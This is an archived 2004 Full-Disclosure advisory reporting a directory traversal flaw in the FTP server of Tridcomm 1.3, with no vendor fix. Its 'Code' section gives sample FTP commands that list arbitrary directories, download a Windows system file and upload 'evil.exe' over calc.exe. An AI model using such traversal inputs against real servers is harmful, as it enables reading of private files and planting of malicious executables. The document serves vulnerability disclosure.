full-disclosure - Directory traversal in Tridcomm 1.3

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20041006211918.1164de42.aluigi@autistici.org>
From: aluigi at autistici.org (Luigi Auriemma)
Subject: Directory traversal in Tridcomm 1.3

#######################################################################

                             Luigi Auriemma

Application:  Tridcomm
              http://www.tridcomm.com
Versions:     <= 1.3
Platforms:    Windows
Bug:          directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date:         06 October 2004
Author:       Luigi Auriemma
              e-mail: aluigi@...ervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.


#######################################################################

======
2) Bug
======


The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.


#######################################################################

===========
3) The Code
===========


dir ../../
dir /

get
  ../../windows/win.ini
  win.ini

put
  evil.exe
  ../../windows/calc.exe

(the same examples can be used with the backslash too)


#######################################################################

======
4) Fix
======


No fix.
No reply from the author.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org